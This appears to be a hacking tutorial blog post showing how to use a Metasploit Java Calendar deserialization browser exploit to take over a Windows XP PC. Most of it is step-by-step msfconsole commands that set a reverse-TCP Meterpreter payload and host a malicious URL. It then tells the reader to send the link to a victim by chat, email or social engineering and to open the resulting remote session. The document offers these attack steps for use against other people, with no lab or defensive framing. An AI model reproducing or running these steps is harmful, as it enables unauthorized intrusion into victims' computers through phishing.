Hack Remote Windows PC using Sun Java Calendar Deserialization Privilege Escalation

This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM. The payload can be either a native payload which is generated as an executable and dropped/executed on the target or a shell from within the Java applet in the target browser. The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16 and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).

Exploit Targets

0 – Generic (Java Payload) (default)

1 – Windows x86 (Native Payload)

2 – Mac OS X PPC (Native Payload)

3 – Mac OS X x86 (Native Payload)

4 – Linux x86 (Native Payload)


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/java_calendar_deserialize

Msf exploit (java_calendar_deserialize)>set payload java/meterpreter/reverse_tcp

Msf exploit (java_calendar_deserialize)>set lhost (IP of Local Host)

Msf exploit (java_calendar_deserialize)>set srvhost (This must be an address on the local machine)

Msf exploit (java_calendar_deserialize)>set uripath javacalendar (The Url to use for this exploit)

Msf exploit (java_calendar_deserialize)>exploit

Now an URL you should give to your victim

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

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